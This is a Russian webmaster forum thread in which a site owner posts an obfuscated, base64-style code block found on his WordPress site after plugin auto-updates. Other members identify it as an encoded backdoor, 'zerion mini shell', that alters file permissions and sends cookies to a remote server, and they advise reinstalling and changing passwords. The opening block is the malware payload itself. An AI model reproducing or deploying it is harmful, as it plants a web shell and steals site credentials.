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
Port_Artur вне форума   Ответить с цитированием
Старый 30.11.2023, 13:57   #4
Administrator
 
Регистрация: 17.12.2008
Сообщений: 7,866
Доменные сделки: 55
Реноме: 5367
Одобрения
Спасибо (Отдано): 168
Спасибо (Получено): 2066
Отправить сообщение для MrKIM с помощью ICQ Отправить сообщение для MrKIM с помощью Skype™
Port_Artur, Как правило это кодированный бэкдор или малваре.

Раскодировать можно, но php код будет не читаемый.
__________________
*.ru-tld.ru: Выделенные сервера по отличным ценам в NL/DE/US от 29 евро | WebMoney BL 1111+
Регистрация и продление доменов по отличным ценам .RU/.РФ от 85р, .SU от 280р, разные регистраторы
Куплю Вашего регистратора доменов (Можно предлагать Реселлеров, Хостинги, Сервисы)

Всегда готов помочь с Доменами, Серверами, c CDN, с Private Cloud и прочими решениями, в том числе и тяжелыми. Пишите в Скайп, Аську, Личку или по контактам с сайта https://ru-tld.ru
MrKIM вне форума   Ответить с цитированием
Старый 30.11.2023, 15:44   #5
 
Аватар для Port_Artur
 
Регистрация: 03.12.2006
Адрес: Россия
Сообщений: 3,495
Доменные сделки: 24
Реноме: 1552
Одобрения
Спасибо (Отдано): 529
Спасибо (Получено): 750
Отправить сообщение для Port_Artur с помощью ICQ
Да вроде ничего не закодировано, сколько файлов смотрел, продолжаю удалять чужие правки и файлы. Пару плагинов вчера обновилось, подозреваю что дело в них.

Хотел облегчить себе работу, включил автообноление плагинов, а тут такое. Вручную косяк попался бы на обновлении плагина на первом сайте.

Короче, добавил себе работы.
Port_Artur вне форума   Ответить с цитированием
Старый 30.11.2023, 15:52   #6
Administrator
 
Регистрация: 17.12.2008
Сообщений: 7,866
Доменные сделки: 55
Реноме: 5367
Одобрения
Спасибо (Отдано): 168
Спасибо (Получено): 2066
Отправить сообщение для MrKIM с помощью ICQ Отправить сообщение для MrKIM с помощью Skype™
Port_Artur, Зачем спрашивать, если вы думаете что и так все знаете? )

Это обфусцированный код, закодированный base64

Как правило такой код делаю для усложнения поиска малваре.
__________________
*.ru-tld.ru: Выделенные сервера по отличным ценам в NL/DE/US от 29 евро | WebMoney BL 1111+
Регистрация и продление доменов по отличным ценам .RU/.РФ от 85р, .SU от 280р, разные регистраторы
Куплю Вашего регистратора доменов (Можно предлагать Реселлеров, Хостинги, Сервисы)

Всегда готов помочь с Доменами, Серверами, c CDN, с Private Cloud и прочими решениями, в том числе и тяжелыми. Пишите в Скайп, Аську, Личку или по контактам с сайта https://ru-tld.ru
MrKIM вне форума   Ответить с цитированием
Старый 30.11.2023, 15:59   #7
 
Аватар для Port_Artur
 
Регистрация: 03.12.2006
Адрес: Россия
Сообщений: 3,495
Доменные сделки: 24
Реноме: 1552
Одобрения
Спасибо (Отдано): 529
Спасибо (Получено): 750
Отправить сообщение для Port_Artur с помощью ICQ
Я не ничего не утверждаю.
Я имею ввиду, что возможно ещё не успел закодировать ничего, т.к. файлы что я смотрел, выглядят как обычный php код.

Или нормально выглядящий код всё равно может быть уже закодирован?
Port_Artur вне форума   Ответить с цитированием
Старый 30.11.2023, 16:02   #8
Administrator
 
Регистрация: 17.12.2008
Сообщений: 7,866
Доменные сделки: 55
Реноме: 5367
Одобрения
Спасибо (Отдано): 168
Спасибо (Получено): 2066
Отправить сообщение для MrKIM с помощью ICQ Отправить сообщение для MrKIM с помощью Skype™
Port_Artur, Это обфусцированный и закодированный малварь.
__________________
*.ru-tld.ru: Выделенные сервера по отличным ценам в NL/DE/US от 29 евро | WebMoney BL 1111+
Регистрация и продление доменов по отличным ценам .RU/.РФ от 85р, .SU от 280р, разные регистраторы
Куплю Вашего регистратора доменов (Можно предлагать Реселлеров, Хостинги, Сервисы)

Всегда готов помочь с Доменами, Серверами, c CDN, с Private Cloud и прочими решениями, в том числе и тяжелыми. Пишите в Скайп, Аську, Личку или по контактам с сайта https://ru-tld.ru
MrKIM вне форума   Ответить с цитированием
Старый 30.11.2023, 16:12   #9
 
Аватар для Port_Artur
 
Регистрация: 03.12.2006
Адрес: Россия
Сообщений: 3,495
Доменные сделки: 24
Реноме: 1552
Одобрения
Спасибо (Отдано): 529
Спасибо (Получено): 750
Отправить сообщение для Port_Artur с помощью ICQ
Я не знал что такое "Обфускация", и почитал Википедию. Нет такого нет. что работает, а код выглядит по другому, - у меня пока всё выглядит как надо.
Но спасибо за наводку, буду "держать ухо востро".
Port_Artur вне форума   Ответить с цитированием
Старый 30.11.2023, 22:35   #10
 
Регистрация: 22.06.2016
Сообщений: 618
Доменные сделки: 12
Реноме: 495
Одобрения
Спасибо (Отдано): 48
Спасибо (Получено): 144
Это zerion mini shell 1.0 (после прочтения измененного кода)
Данный код изменил permissions некоторых файлов и отправил куки куда-то себе на сервер.
Я бы посоветовал переставить Wordpress и сменить ВСЕ свои пароли на хостинге.
alex8 вне форума   Ответить с цитированием
Ответ



Реклама

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Закладки Добавить Тема в закладки

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 15:42. Часовой пояс GMT +4.